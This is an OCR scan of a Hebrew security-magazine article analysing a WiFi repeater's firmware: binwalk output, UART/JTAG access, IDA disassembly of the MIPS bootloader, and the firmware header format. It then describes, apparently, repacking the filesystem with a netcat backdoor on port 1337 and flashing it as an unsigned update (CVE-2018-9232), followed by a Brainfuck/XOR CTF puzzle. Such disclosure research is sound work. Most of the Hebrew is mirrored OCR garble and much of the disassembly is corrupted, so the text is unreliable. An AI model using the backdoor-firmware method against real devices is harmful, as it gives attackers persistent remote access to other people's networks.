196608 0x30000 LZMA compressed data, properties: 0x5D, dictionary,
size: 8388608 bytes, uncompressed size: 3374168 bytes
1231360 Ox12CAQ0 Squashfs filesystem, little endian, version 4.8, c
ompression:lzma, size: 2141851 bytes, 751 inodes, blocksize: 65536 bytes, create
d: 2015-02-09 14:01:04

il

n7u9NN NN DX NI7WA7I NNINA Ma IR 2NNRY 'RINKA WK 'NIINN 7700 - Bootloader
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,LZMA DN"127R2 oNT XNl bootloader-n Nx'nn 7w 910 1nT ,0x30000 VO'NA YAl D'PY NN

.D'¥apN NOWN DX IMNRT? NIRYT N1 770 INTY AR

IONTI CWKX D'¥APN NWITY .¥Y7'n binwalk-w 0'¥apn Wxw 7y 75N01 ,0'¥a70 NdWwN71 277 "avn

L1227 D'UNYN 0R'7N NRD1D LN Yalp YW DIY DNy 0N Zlib onminRn Ty

:Flash-n n7'nna LZMA-n yal? 7y binwalk yma
root@kali: # binwalk 1958
HEXADECIMAL DESCRIPTION

0x15250 CRC32 polynomial table, big endian
0x1869C HTML document header
0x18970 HTML document footer
0x189A4 HTML document header
i Ox18B0OC HTML document footer
101184 0x18B40 HTML document header
101523 0x18C93 HTML document footer
101576 0x18CC8 HTML document header
101824 0x18DCO HTML document footer
101876 0x18DF4 HTML document header
102226 Ox18F52 HTML document footer

root@kali:

YN ,(ANTY punn? an 'oT on HTML '9Tn) ["ayn *T MNIF 12T DIY ant X7 binwalk-w Nk
:strings

TBS bootloader V1.0 Build65129 for RTL8197D DRACO DB AP(Oct 27 2014-17:28:17)
abortboot
sysdata get
eth _init

I BOc@
2s"RR

$b4C

6S&

P

@%spF g

bwrV
tfdGTsD
TWvvF

XDHex

JuZTj7z
\dLE<
~BNU~t.
gqr<

16gnk

TiGM>nw

rt8196d

4prepare_tags

setup_commandline_tag

O### ERROR ### Please RESET the board ###
Flash:

DRAM:

U-boot 7w X01'a NTW N'an "IX ,bootloader-n 11N> NXM1 AT INIMyn TIXA D'RN 1INIRY DITNNNN

D2 D ,NNdIN 7 I'N (NIMN? " NIZITA NITNNAN) NITIRONN N2INY 7722 XD ¢ '11'Y NNy
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-2 0101 XIN UKD 0'9TN PU-boot-w N¥IL1 NTINNN X' - "Please RESET the board" :nTinnnn

.panic

UART M12'n woN?1 nninn DX [IN27 0'¥N 10 U-boot XIn bootloader-nw D' TI* NINIXWN ,NYD

.00 UON7 7'NNA TINNN NIX NN |27,ANTWN 1'70N DR NIF 210 2277 221w Nan 7y JTAG-I

NN Yay!' n1dINa 70yN'Y 'n
.N¥2 0N NNl JTAG-1 UART D'woNn NNIX NN 722 0TI 1'20N

2y 7101 punn 0MwoNNn D'-bootloader N1 ,NY7NMI'0 MIWPNY YI9) 7171009 XIin UART

Jon' NIvIYvS NITIRS DY Nninn

nIAY D7D NN TIa0a) 2wena e PCB-n nprma%? nnninn ntwyna vamvo Xin JTAG
"D DA DT VITIVOQ D'YNNWA DIIX' NN DI (DP'TA7 07D D'WAT 7 NINI7N X NI
JTAG "2anna 0'2'9 7y 71 12 vamvon) nn'w' (‘131 Flash |N2'7 ,Tayn) Nnininn 21 DX AaT7
N7 wnnn DX 70 7 yTnn 2201 "y vy TR 7y XY 72X ,00TI0oN 7w 0avnn nadn i

.("1v |91x2 debug

N'DINN DX TIN7 "1 JTAG programmer17 Dy ITAY' baremetal NN ITAY' "WKX D'NNSN 2NY

.Taynn DX 227171 RAM-7 Dnv

.(GND) nnTx1 (VCC) nnn ,(RX) nu*7i Yy ,(TX) WT'w yny 0770w 029 4 5¢ yi191 1ann UART-Y
12TNY EJTAG DwA [N W' MIPS *Tayn? .Taynn 7w ¥A 170 ,0ann 7w 11 190on v JTAG-7

.0"721 14 ya "anni (N yioan) o''an 12 7ya 1ann ,0v'7a0 6 7ya nann :nann 1o 3

.0MAImMN DANNN DRI NN 7Y DAY NINT7 Non

Embedded ni>1yn? yi91 Bootloader - U-boot 1

“MWUNN 722unn IR DIXI'Y DPINORZRN 0DIN 0NN 17YW NI RIN printed circuit board - PCB *°

Flash-n [N2'T RAM-n ,Tavnn 122 027 %W N0™7w oK' JTAG-N 11T MNINn 72U N0 TWOKRN WK 1'wdn - JTAG Programmer
"I
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N7 nnTp

‘t"u SHE 94v.0
E248779
V2« HIS804PN4SBA].
Sy Crw
v S

:0'YAX2 0'1"1Vnin 0D'2A'D7 N DX 'NIN'o

WIFI NTwn 198 :0ITR. e

w2t W' 0TI 'MI'XY 0"7200 Ny DX PCB-n 7y DIwn Nt n17t7 UART-7 D' :7InD e
NIX O'N7'Y 12NN "My 781'07 12NNNYT 72IKY *TD N 17N 0'2'97 0720 NIiNNYIn 1'n Kv
oYY 0"

ANX7 R (MINKN X7 Da) NI7D 2V D' T 'RY I JTAG "7IX DNV 'MAYNY D' 710" e
IX VTN DIV NNayn X7 D"700w MK oscilloscope™-1 qunuil oy oninn R MTTY

JTAG Y2'n nirn'? NIt X7 |0 P ,007

DINVPYR 072 NITIAN 97WN TWR INVPIR T'wdN - Oscilloscope **
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:NIINKN NI

by
XN

o

:D'YIN] D'INION N DA DY'YNN DADIN

INXY TAYNN NINY.- e

SPINOR a10n 2010 7 flash-n DItk e

2" 7w RAM-n .

NQAIT? N0 77wn DA% 710Y) PCB-n 7y JTAG nXyn X7w 7721 KIN ,N9X X971 /Mo I TIy
Inxy Taynn v JTAG-n "220 NX won? 'M'o1 ,(N177 on7m ™1 7yona 27x1 a0 v flash-nw

.EJTAG 01 TIVOA NN NINY |11

NTNA .ANY¥N K77 X 17w datasheet’®-n NX Mwon Taynn 7w JTAG-N *7a0 DX KIXNY? Nan 7y

JIN'WY' Taynn DX 22771 D'RNN 12NN [RY9R DN7NY7 710" MU NIR RXIN Ml

DA 'MKRX¥N ,N00IA N7W NN "YYW NIN'ON NI 120 DANK D'1"1YN 0DMAT 'MXXN NNXT nniyY

.0'2'9 12 7p2 12NN NI MmN A RN PCB-n 7y JTAG Nann ' DRY

NN TTAY 12NN DTV "NYpa 19w XOSI7N K77 2'10 DY TIAV7 AxXa AN NN A1ixa Tay? »m»
72NNN DAY 790 ,NI77 D'RNN 12NN DY NNN 790 [0 KINI XODIZA W'Y NID 90N 790NYW NNNN

T2y 270 1AW baud rate”-n DX KIXN7 117V Y8M'0N DY TAYY 20 D Wpwh

00 IX 2NUPYR 297 7Y D'09 NN 100 V19N - Datasheet
NTAY NRM0N NMIYENN 12 DIININ NNAvA 2y - Baud rate »°
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TPONW 1T MI¥A INIXK 01N '0YTIV0 UART-7 USB an N1 1'7% "annn? ‘2nw nn 7y

2'na 0'oInn TRoN7 m'Rn' (PCB-n 7y Diwn nfn 720 73 7w T'ronn) a1 n 7y 0taain

MINYNY TY D'DIYN 72D DX M0 ,0'VITIVO D'-baud rate NNd NN TAXA D'TAY 02D ,ANY
NN KI¥xN7 1 JTAGulator (120 0'702 wNNWNY nT' NNIXA 'M7D' 115200 2¥pa 12T aDINY

TN WN

2 NNKM ¢ N'MNINN NTI2VN N0 NWD

oy

Backspace

N2 ANTYWN 70N 7Y 75N0nY7 7511 19 2xpn DX DWW NNIXE NP7 Y7810 112N IRYNYN  Nyd

.U-boot-2 y¥xann Xinw
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U-boot-n 7w 2INXY? noTn

X7 ANTYUN yaIp ,2'vin K77 X 780N 0991 win'y oy U-boot-n NX ANTW? 'M'0 N1 27w TV
MN7¥N WK (7807 NWY '7NNNY NI0STA T 7Y NI7A7 'MN7x¥n [77NY) NipTan DR 1y
U-boot 7w n¥11a1o11j77 0D W 0faNd1 ANTYAY (111D U-boot-7 Nayn 990 N7y X7 a01n et

.N'XIIA'91172 NAXRNNA DN 8-1 4 Vo'N] D'R¥NIY flash-aw

ANTY 701 ,0'¥apn NOIYN X¥Nl Y Vo'NNl Mpn X¥n 1w flash-2 vo'nn DN N7R DDW

SN X7 W 0W7 Anda NN X7 D'¥apn Ndwn 7w uotan

W' U-boot-7 .U-boot-n NX 1INK7 0TIN7 D'WATI 1INIX ANTYWN )*70N DX X701 91X ['an7 nan 7y

.second stage bootloader-I first stage bootloader n'x1j72 YWX D'P'7N YW

7712 - ARNT7 D710 DNRY 1ND1.NXY TAYNN 7V W'Y ram-1 ) UNNWNT7 TWOK 77T Taynn TWUKND
0370 (nN'wr flash-nn Y1 IR) DwY? voa first stage bootloader-n |27 .J0p TIXNA TINN NXIN NT
X [IVO7 ITPoONY second stage bootloader-n NX p'Nynl ram-n 7w Ipan NXI D'N7NNN DA

R YIONTI N7V9NN NdWN

oy van 2N (' elf 1a3) o'on e ana yan 17Y second stage-n ,U-boot X D900 TWKRD
NX77 7901700 NN RINY bin DWA TR 0NID TIV W' .19W entry point-n XIN NN IXY header
-0 NO'R N T? "1 first stage-n NX 1INK7? 0TIN7 Y7X2 |27 ,7'NNn XIN N9'X IRY header DIV

.entry point
L1197 'nnn MIPS Tayn TWKRD NI NN DX 110K first stage-n 7'nNn n9'R NYT? ' 1

QP70 QYIT NIund non oy MMU-D N'ONIVIR 7u9In 7T Taynn QWD MIPS NMIojpusINa
n'Ton Mmdn .0xBFCO000 N'XILVYIN NAMdAW boot vector’-n NN VU7 NoM Tavnn
aion 0'-flash-nn 7N 1NNY ' 79 WiNan .NniNn 7w QXA 9 2 NNWN? 270 nnaimny

.own yNnY? 7'nnni flash-1 0 Vo'n? Wan Tavnn ™ XIP?-2 nonin NOR

("M X7 IX ['PPN RIN DRI 1INIRY TIZn OX DYT? DY 20 ,[101 79 wINn DX DAY UaTn? W
22 7w D*7INN'R DMt P71 Y1 NN 175 NI Tayn? 19800 wnn Kin first stage bootloader-nw
Awpnn low level TI7i 02T AWKRD) NIVIARZ NIAMDY? NN'Y!' DDV N2 1N AN7W ,0MpP2 1N
o Ny o W 117 '), (INXY Dnin 2pan DNy nAl 12 IX K17 2AN7 XID "IN oy
> [N*7y D'VYS DIV 17 nxy NINin 12N 0N NIAmd7 ann 217 2N7 XN Nnin o

DITY? TINN 09D 0MpAN 7 [ND'T NO9N [12D DNAT .NNINN 7Y YT DIv 117 |'RY

(reset 2¥nN X¥I')?7T1 TAYNN WK Y¥ANNY Tizn - Boot vector >
RAM-7 nznyn K77 flash-nn NN'w Tip 7w YIx'a MYSNNW A7 KA execute in place - XIP 2
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NP TIVW NN 1IN0 7200K2 AN 17w DIWRIN XN %wA first stage bootloader-n L3 10D

:0 vo'na flash-n NX Ida-2 Nnoa .Ida 7y nwpP!

Library function [l Reguier function [l Instruction (1) Data [l Unexplored || Extemal symbel
Funcsons windon oax @ 1A Ve a @ Hex view-1 & Svucures 4] Erums. i) Ingorts =)

ticn name Segment

TIP7 0'0AN7YN D'P7NN DX DANYT [da NXR "NNdNT" 7'Nma L0170 nnm X7 Ida-w NIk N

Library function [l Regular functon Ml Instruction | Data [ Unexplored | External symbol

[7] Functions window o8& x IDA View-A B 9 Hex View-1 B @A Structures B B Enums B8
Function name Segment o ®
ROM: 60020000
[7] su_c ROM ROM:@66B6G@6 # Segment type: Pure cade
[7] sub_sas ROM [RoM: @BoaBEED .text # ROV
|71 sub_ssa ROM [ROM: 00006000
[ROM: 06006006 loc_: # DATA XREF: sub_584+4Clo
ROM: GB0EGEE0 bal sub_C
[ROM: 8086084 nop
_byte BxED
.byte @
.byte @x19
.byte @x20

SUBROUTINE

# CODE XREF: ROM:loc_otp

n $t1, 8($ra)
nop

move  %gp, 5t1

move  $tB, $zero
mtce $t@, SR # Status register
nop

nop

nop

1w $t9, @x24(%gp)
bal sub_664

nop

nop

1w $t9, @x20(%gp)
bal sub_s584

nop

nop

1i $at, Ox3FFFFF30
move  3t6, 3at

1 $at, BxBE0G1640
move  $t7, 3at
sw st6, B(st7)

nop
nop

1 $at, Ox7FFFFF3@
move $t6, $a

1i $at, GxBEEH164G
move $t7, Sat

s sts, Q(se7)

nop

TIPN DX D'WTIY X7 1INIX - DTIZ "NM2TAY NNY XNAIT N9 W' IR ,NXP NINT? 7'Nnn Ida-w Nk
IR ,N7NNNA TIRY 77NN DX DA'N Ida D N7l data W' 7NN L8 V0N A7 IN'YN DX .|'PN NNKA
22 NDINN 7D NING wniwny gp MAING [N IT NAIMD ¢ wn X171 12 0o'Naw M0

first stage-2 DIW D'P7NNN YT NIXMPIENINRAID DIPM WD
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Yaiznw Ida-7 1121 2 121 .1da-2 vn DR 0'W7 7211 gp NAIRD 7Y vn DR DYTIY 1INIRYN  NYD

nTw M second stage-n 7w 71NN pwnna vio'n N¥p NK7w 0xBDO00000 NaImdn |1Iyv

flash-n 7w n'7%1001H NaMdN

ROM: BDoo2200

BD@aaaaA
BDoGREEB
ROM: BD@2aaaC
ROM: BD@22oaC
ROM: BD@2aaaC
ROM: BD@22oaC
ROM: BD@2aaaC
ROM: BD@22oaC
ROM: BD@B2A18
ROM: BDee2O14
ROM: BD@B2A18
ROM: BD@22alC
ROM: BD@B2A28
ROM: BD@2BO24
ROM: BD@B@A2E8
ROM: BD@22a2C
ROM: BD@B2A38
ROM: BD@2BB34
ROM: BD@B@A3E
ROM: BD@22a3C
ROM: BD@B2248
ROM: BDe2BB44
ROM: BD@B2B48
ROM: BD@22a4C
ROM: BD@B2A54
ROM: BD@22a58
ROM: BD@B2A6A
ROM: BDOoB26S
ROM: BD@BAA6E
ROM: BD@22a6C
ROM: BD@B@a7a
ROM: BD@@BBT7E
ROM: BD@@@a7C
ROM: BD@2BO5S
ROM: BD@B@ASE
ROM: BD@22asC
BOM: ROARAASA

ROM:BD@GGEE8 loc_BDEasead:

# CODE XREF: ROM:loc_BD@eeeeetp

# DATA
bal sub_BD@2aaac
nop
.byte @x8D
.byte @

.byte @x19

.byte axze
SUBROUTINE

1w 3tl, @(%ra)

nop

move $gp, $tl

move $t@, $zero

mtca 3t@, SR

nop

nop

nop

1w $t9, off _BDe@1944

bal sub_BDB0as64

nop

nop

1w $t9, off_BDE@194@

bal sub_BDB0ass4

nop

nop

1i $at, @x3FFFFFE0

move $t6, $at

1i $at, @xBERA1040

move $t7, $at

sw st6, B(5t7)

nop

nop

1i $at, @x7FFFFFsa

move $t6, %at

1i $at, @x55691840

move $t7, %at

sw st6, @(5t7)

nop

nan

# Status register

AINK? 0TINYT Y'wnl NI 17 T o at Lgp T Y

D'NI7IW D'IWN DX QAWNY? NI [da nwd

NI'X9N NNX 07700 2N DX ANDT X7 XD TV D TIg 0N 0'ion 0'7nw Ida nX "nmdn?"

nTNNNN 7w namd T 7Y ,"Booting..." NTINNNN NX 7X™M'07 NO'9TAY N'¥7119 X'N Nn'T D Ida-w

("78r0on WA 7w TN buffer X' IT NAMDW NRN1D) [N2'T2 NAMDY? NNWY!

-1 yI¥? "ayn ,ram-47 flash-n 7w 47KB npnyn 120) nwy first stage-nw 0'2>'70N 1M 7D WNKY

"wn 707 0'van nnax (C Tipn 7917w nRNIY TIRY? 1avnl ,ram

FEE

sub_BD@@@820:

var_10= -0x10

var_4= -4

1i $gp, ©x1100

addu $gp, $t9

addiu  $sp, -0x20 # / e

sw $ra, ©x20+var_4($sp)

sw $gp, ©Ox2@+var_10($sp) # S

1w $t9, off_BDO@193C # Loa

addiu $al, $a@, oxC

jalr $t9

lui $a@, ©x381D0 #

1w $gp, @x2@+var_10($s

bnez $v@, loc_BD@@0860

lui $t9, ox81D0 # Loa

I

v \ K
$ra, Ox20+var_4($sp) #
$t9 = loc_BD0@086O:
$sp, @x20 # A igned b loc_BD@@@860 # Branch Always

nop
# f funct _BD000s20
R ——|

All Your WiFi Repeater are Belong to Us
www.DigitalWhisper.co.il

57

2018 'xn ,94 |I"12



Technologic

.ram-7 pnyinw flash-n 7w 7707 VO'N NXINW NVNTD DY N¥ADT7 ARNP ND9 W'Y D'RIN 1INIX
727U nyiEn nmdn non ' 7wy ,0x81d00000 NyIAEN NAIMDY? YOI TIPn - NN'Y7¥N X'l NTNa
,NX'9P7N 197 NXI7IY N'X1197 10NIDd NNAIN IT NANDY 17 D'W] D 1N .ram-nn 270 INT MIPS

AT NYAI9] 00U D'P7N 7Y NXPA 7ON0 D7

_ L J
e =1
1w $t9, off_BD@@1948 # Load Word
sW $a2, @x6@+var_C($sp) # Store Word

move $a@, $s0@
addiu $al, $sp, @x6B+var_3 . # Add Immediate Unsigned

jalr §t9 # Jmp And Link Register
sw pUD, UAUGTwL _aupspy # Store Word
1w $gp, @we@+var_48($sp) # Load Word
1w $a2, @x6@+var_C($sp) # Load Word
1w $a3, exe@+var_1@($sp) # Load Word
bnez $v@, loc_BDBB1BE4 # Branch on Not Zero
lui $vl, BxB354 # Load Upper Immediate
. |
e ' 3
lull i [= e =
move %ad, $s8
addiu $al, $sp, @x6@+var 34 # Add Immediate Unsigned) |loc_BDB@L1BE4:
sw $v8, exe@+var_28($sp) # Store Word 1i $vB, @xFFFFFFFD # Load Immedi
T fvi. off RD@A193R  # 1 oad Word
1w $t9, off_BDBB1934 # | oad Word
sw v, exe@+var_34($sp) # Store Word
addiu v, $sp, Ox6@+var 48 # Add Immediate Unsigned
jalr £t9 # Jurp And Link Register
sW $v8, @xe@+var_58($sp) # Store Word
1i $vl, OxFFFFFFFD # Load Immediate
movz $vl, $zero, $v® # Move Conditional on Zero
b loc_BDR@LSES # Branch Always
move fv@, vl
|

[N2'TA DMON 77N NOSNA NIYNINY NN AINYA 'MINOW NIYZAI9N 'MWY NXIIP N¥j7190

'anY? 172w 1> 7w Proximity graph-nn 770 a1¥X ,N>2100 TINN DX NI

i
%

=

——

= 1
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NN NP' AT D A% 2DUNAY X7 ANt W N0Nnn ,NYY proximity graph®-nn 'xn 71 wa nr

second-n 7Y NO'NTN NN'MO N'¥7I9N ITY 'MNINIE N'OVO TR Y NIYYY D210 NNIRY 1) AT

.(ram-7 pnyinw flash-n 7w 27n2 N2IND N1 N7 MAVINYW DMON9N TNRW 7722 stage

N7 VO'N NT'XA YT I'X .second stage-2 12 7'NNNY DAYIN NNIXY NAINON DX 117 W' NVd

['TR |27 [N2'TA NIN'IoN NIAND A'¥n? second stage-n 7w 71N pwnna nxoIXk ¢ ?n7nNnnn

DNW?D 0'Ma 20 7m 0RIWRIN 0'NAN 20 W NNRNN NIYYY NOINI ITN NAINDN NX A'YNY NTIR9

2117 W' N2DW 0INT X'7n second stage-a

NXON'A NTYW 'MIANW 27w2 TIY second stage-n NKX NINSY7 'M'ow |"X'7 v' ,yalj7a 0 o' INTY NKM

second stage-1 D'v'oIn first stage-1 JINX7 NOTINA 'MLY'OYW D'WNN 770 7721 X U-boot 7w

PN TIR AT DR NYT7 "M X7

2lda-2 INIX NN21 .second stage-n 7w N7NNNN NAIND NN 1IX¥N

L

.0175 Nnn'T X7 ida N9 Daw nXM

D'¥N T2 DNA 79130 'ON' KK D'WIAMD Tip 770 Nax'm ida N2 naxn 1T - Proximity graph 2
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,TIP 0N omion 07N Ida 2w "nnon" 7w first stage-2 1'Wyw '70N INIK IR NWYIY INKRY
NIXNY DNYXNE TN 70 DR NNNYT [da-w R gp DAIRD YRR 1IRYN DNIRY NAIMDY7 N1'vo

.data segment-nn N2N7 Nrlon'Nn

NOTINN Y'7NNW T strcmp IX strcpy [1IAD NNDIA NIXZID 1M 72 NINT? Ath '70NN2 'M7nnn
System update” 7wn DY N1Myn NTANN strings-n 1702 XXNY N 7 A NNINKRD
ANTYUN NUYRAD IT NRNIN 720,02 NWNNWN 17'9XY n'¥2a19 W'l "completely! Restarting system

N2 D'0AIN D'P7NYT ONYNIN

loc_81D67E7C:
1w $t9, off_81D19463

sw $a3, Oxa8+var_28($sp)
addiu a2, -4

jalr  $t9 ; calc_cre

addu $s2, $s3, $s2

™ $v1, -3($s2)

1w $vB, OxaB+var_38($sp)
1w $gp, OxaB+var_33($sp)
1w $a3, @xa8+var_23($sp)
beq $vl, $v8, loc_B1DB7ECO
£s2, $s3, O30

FEE]

loc_81D@7ECe:

Iw $s5, off_81019146

In 3t9, off_siD19260
move  $al, $s2

1w $s4, 4($s3)

addiu  $a@, $s5, (aRtl3197dDracoD - @x81D108@) # "RTLE197D_DRACO_DE_AP"
jalr  $t9 ; stromp

sw 3a3, @x4d+var_28(3sp)
In Sgp, @xas+var_38($sp)
Iw a3, @xas+var_28($sp)
beqz  $v@, loc_81DA7F@s
move  $al, $s2

FEE]

loc_s1067Fe8

1w $s5, of f_51D19146
addiu  $s6, $s3, @x18

1w $t9, off_B1D19268
move $a@, 356

sw $a3, oxas+var_28($sp)
jalr  $t9 ; stromp

addiu  $al, $s5, (almgs - @x81D1000@) = "imgs”
1w $gp, OxaB+var_38($sp)
1w $a3, oxds+var_28($sp)
beqz  $v, loc_B1DATFSE
move $al, 356

AN (ANTYUN 7w header-nn 770 TV INT) yalzn N7'NNN 48 VO'NAY 7T ,j7TA) cre-NY NN

imgs” NTINNNN 2IMD Yalpn N7'NNn 24 Vo'NAY PTa1l "RTL8197D_DRACO_DB_AP" ntinnnn

81 4 D'o'n? DaNdI ,ANTWN header-2 4-1 0 D'0O'NA DDAYA DR 17X NPT NKY

2NN 1w XYY flash-7 and1 anTwn yalpi flash-1 nrxniaroaia
117 70N 'Y NN 2700 0T Inpare

X7Y D'D01 DN TIVI) 270 N7 270 IR P72 K7 1'WOY TV ANTYN NIYTA DR YXIY TIpnY (1D
nn 72 ,nyd .header-2 N7X NITY 7w onirp 7y NyT? M7 K7 ,('1D1 KON 7w DWUN (12D VIOKR
NYANY D'¥2 NDYNI 2DIN DY YVANY 707 DY ANTY YAl ['9N7 XN 21727 71D NIYY? INWIY

1IN7¥N OX NIXYY '21W 1D - "'y DY X 1'WONN DY

1INN'NAY? yalp bin n*P'Ma q'on .unsquashfs "0 T 7y 27NN 117 W'Y 0'¥aEn N>IYN NX NN
X NP7TN 722 Yy AWK /etc/re.local yalpn nX Nyl netcat *75n NX IX hacked nwa yaip nno)

squashfs "' D'¥apn no>wnn 21 (72’107 DNIXK 1yt 1337 01192 DNIA'NY NDN'WY netcat

All Your WiFi Repeater are Belong to Us
www.DigitalWhisper.co.il
60 2018 'xn ,94 12




Technologic

(flash-7 dump nyx'aw binwalk-nn N8 D'V NX 117 W') NO'NT DNNIAZR ININI XOYA NNIXA WTN

© 10717 Y7 "WORW NI mksquashfs 1700 T 7y

‘N 227N image 210N |'PN ANTY YAl ,012'0Y
:D'N2N DTN DX 71N ANTY Header (1
flash-2 727pn X¥n' Iaw vo'NN NR 0 VoM (a
flash-2 0'yapn Nd>yn X¥xn'n . vo'nn NX 4 vorma (b
D'OINT D'¥2N NdWNI 7770 7w 710 Nx 20 vo'na (¢
“imgs” NTNNNN NX 24 vo'na  (d
“DRACO_DB_AP” nTnnnn Nk 32 vornm (e
“RTL8197D_DRACO_DB_AP” ntnnnn nx 48 vo'na  (f
("1'w X977 2ND1 Yalpn 7w pIMD ANTYWAY (1) LZMA DNMYK '97 oinT kernel (2
LZMA Dn"a7x '97 noinT 4.0 X0Y'an squashfs aion oyap no>wn (3

YaIj7n OIRY 7w crc DN Yalpa paNNRk DM 4 (4

:Web-n pwnn 0T A1TW? non

Helptul ints..
The device is upgrading, please wait for 64 seconds

o ]

Firmerars upcates may be releasad panodically to Mprova the.
COMB - PuTTY o x

= Logout

NIX D0 2'NY INX7 V' 190Ny YalZn DX DX pPITAY ,ANTY 2¥N7? 0121 TWINNY NN

(' (9182 N'7v o1*7n header-n 7y 11*7aw N 70 IKY ,0Y90N) O711'70 NI ANTWN

[¥7 7nnn - n7wsnn nd>wn NV Nya NXIY 75 VYNd Y¥AY7 TVI [XON X hacked DWA yalp 1901INY NIXY? [N MInN]]

D'™710' NNIRY I 2N 72V AR N0YY 17 v - i lfirmware TWY INYXD PRY DR

.bootloader-n No7nn 17'9X IX 7077 N97NN IX D'¥AR NOOIN 7710 171D frimware-n NX 9*7NnY
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?NINX NIYYYT TWOX ' AN

72 227 NNKR NIYYYT 70" DX NNACANND XD XY 70 1277 YTD 02 DT INRN DX 7¥17 nxn v
JINXNY NIXNI9N

X D' D'WIN XNO'0l WnNNwn DY DY 77NN N1M2a 200 Y Nimow telnet-n nntw 1
110'n"7?

[PXI T2 ,HTTP-N NIYjad DAyYMy 0Nun97 09 NI 9'oin? n'n [N Web-n nawa .2
JIWRIN 77N nR¥NW command injection-n DRI LFI-N K Wam 1'0 [0 - 0780 NIz I

D707 NN NITYA XN K ANTYN PRY NNRR? 17X AN 2D v anTwn 1'9an .3
19012 DNNI ['VI7NY7 2N 7V BNWNYT 71D0' 117 AWONNI NNIXA X7 201N ANT'Y DAY NX'ON

.CVE-2018-9232 :Xxan CVE-n

nid'o

VAN PNAN 9102 .07 270 N7'NNA 117 'Y NIP2aNN 72 7Y nknn 7Y 0T 7702 "2ann nnéin
wUNNUN? 7311 12D INKY 02 2071 IRYNT7E 2N Y No7Nim Arnr a'wn o' X 12 axny
[N 7Y Nvnwn? qunna (0121970 IX D' D'AYNN 1ND NVAIRAL NN X7W) ATh 1'Wona

.Avnn IX |I’:)'70 |12 DANX DY'WINY XM |1'0"I

IX OINK7 NOTIN 7Y DINNA 'y (IR 'MTAYE NN AT 270N DX Y¥AY "M TINA 9011

ApPNNN 7w ATh P70 DR Y¥A7 'MIND IRY 10D NINDY NNMZNN ONINMY Dl

7annn 7y
AINKY noTINl NN TN DI|7"I'JJ ,]']IU'?II'I WPI'IYJJ POD]’\YJ 1190 1M1 Low level nnon ,'90D Ny

:NAINDA "X NNO9Y7 DIATIA NN / Nvn ,N'7RY 704

komerkO@gmail.com

NITIn

DI NAYA ,NININD 2190 LYV 2V 7NN 7¢ DTN 7707 '9NIY "Mt 'n? DTN AN

NRAN v IT noroy

NINYN ,NNINN DY NIZOYNNA ATV LYV NNIY AT [TWI [NY IR ,'RAN [ ][I0 anT? ATIN

NNNAN 7Y IT D007 DI

nwwp'v D'S01n NNipni >R Ly athl

:CVE MITRE ,ANX2 MNN2 aXInw CVE-0 NITIR X' yTn? ey

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9232
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‘A XNONA - 2018 TOIMN 7V OoI"an NANKX |[INND

N'T NN NXN

aNTN

D'TAYIN OI'AI NIN'X N1VNYT CTF NANK DO 7KW TOINN ,NIWN DA ,NIXAXYN DI MY 791 1D
AT 'AT A X7 'INNY DNANNTE NNO9WNYT 'MINKIE DMNIN 'MOoY1'Y NTN 27w I'MNIYY DYN'YI0I9
D77 X X - TV N ONIRA DIYY 8-12 71 7AK) NP INIRN TYINA AW 101'WI NANRD
[2MDI1 .D'RYIN 7Y NINWN 190N N1AN YT WAT A7W 701,019 15011 20110 MANKD (MmN

.NT XN DONDY [1217 1'RY D''NON MANKNY INK7 71 - MY 701 1D

MANX7 NTA NX XIXNYT - DTN ATY

|'1n'7 o'DMAX 11Nl NI'MYANN NINWAAL [NV DONIS DY TNn 27vn mwn o LN D1Y? NnIm

ININ2N NAINNN NNONID DIFN 7KW [IN'YYA NNAIT? JANKA [IWRIN 277 v an' 'R

St >[4 [14-]<H— 4> [+
> [#24K=] >L=mm= [ == HA] D= ===

fom b, [ ] Db, = [ SH+<]>=

[-1<[-1 [ e G o B A e e e Tt [=]€p=mmmmm———— [+ -1
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[ <+ - CLLLLEIL [ [] 4= ] K=t [ ==t ] K [4D4<= ] DS CLCh bbb bbb bd [ Dh b bbbt b s [<[
1>5>) +>>>= 24 <<<m ] = O === DL (4= [ ] =] < == 4> [+-=+]<[] ] >> +
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Anw mY L"L+-<>[]" ;D0 Dnyy 7y DTNy DnnY 2% 0'va ,Nmna 20 D'0TN 1INIXYD
QIR T2V DNNID) VYD1 VY NIYPAD DY A0 NIPDN NYWNANA WK Brainfuck Ndwa NI
[I"7UN NP7 NN0N TIRN DR YNINY 10X NANKD K¥YND D' an? 7avaw n'an nnax .(a7'n

.https://copy.sh/brainfuck :AnNxX2 wnnNwi NRT NIWYY? 7'awa ,miann 7w Innnal

NN Y 1'ya Dp'na TIgn DX yMwd

Stot<>—+==><[+- []+-]<+——+>[+--+]<
[+>+<-]<>==== [ =>+++<]>== . ————-——-
-t [H>- <>+ - [—---- >++<]>-.
F[>+H4<] >+ttt o m oo
—m L mm e [ <] >H = [— > <] >
R [ > H<]> L [~ ] <>+
<>[+-[1+-]<t-—+> [+--+] < [+>+<-]><>+
— <> —+==>< [+- [ +-1<+——+>[+--+]<[]

."xor-with-key" nTnnNnn Jon7 17 09TIN

1NN 7Y INNNA AP'7NA TIED NN YMwdl

Fhtt bt D<o ] >4 [<+>-
1-[>+<---—--- 1>--= [<+>=] [<+>-]>++>
+[>H+ [-<HHHHH>] <] > [<H>=]>+>++ [++
St [~<+++H++>]<<] > [<A>=]>+>+ [ >++++ [
—<HHH+>]<<] > [<+>=] 4 [>+HHH+++
FHt <=1 >4 [>T +HH>>+>+ [->+++ [-<+
FH++>]<<]> [<+>-] ++H+++++ [>+HH++++H++
<=1>4 [<+>=]HH4>HHHH++>+>+ -+ <>+ -

2T on? 09 TI' X7

NIXIN INK7 |N2'T MINN2 V) AT 72W2 NDINN 7Y DXN 170N NP NN 'an? oxa nwd

“view memory” -> “final dump” 7y nX'N71 N'1DINN NXIN FT-7V NRDINN

final dump

pointer = 0012

Qo0D: 7A 46 5C 53 55 59 03 5A 41 03 06 01 zF\SUY.ZA...
gooc: 00 00 OO 0O 00 OO0 OO OO0 OO OO0 OO0 OO0

.(xor-with-key) Inw'2> NNon Dy N1wo'7 10XV (cipher text) [9XIN 21N 75N |ND'TAY RN
N2 772N ININ2 XINT NN 21200 nxy v 1Ny "Israel-is-70" VOV N'AN' 1'2'V NN OIDSN'Y NN

...AN9NN KIN "7IX ,(12) 7nnIknN [ND'T YOn

XOR NI71y9 Ntya (Israel-is-70) INXNW NNONN DY [IN2'TN YO7 DX NIWONY X7 TI7 YO 2N

key = bytearray(
cipher = bytearray (

bytearray ( : A key, cipher))

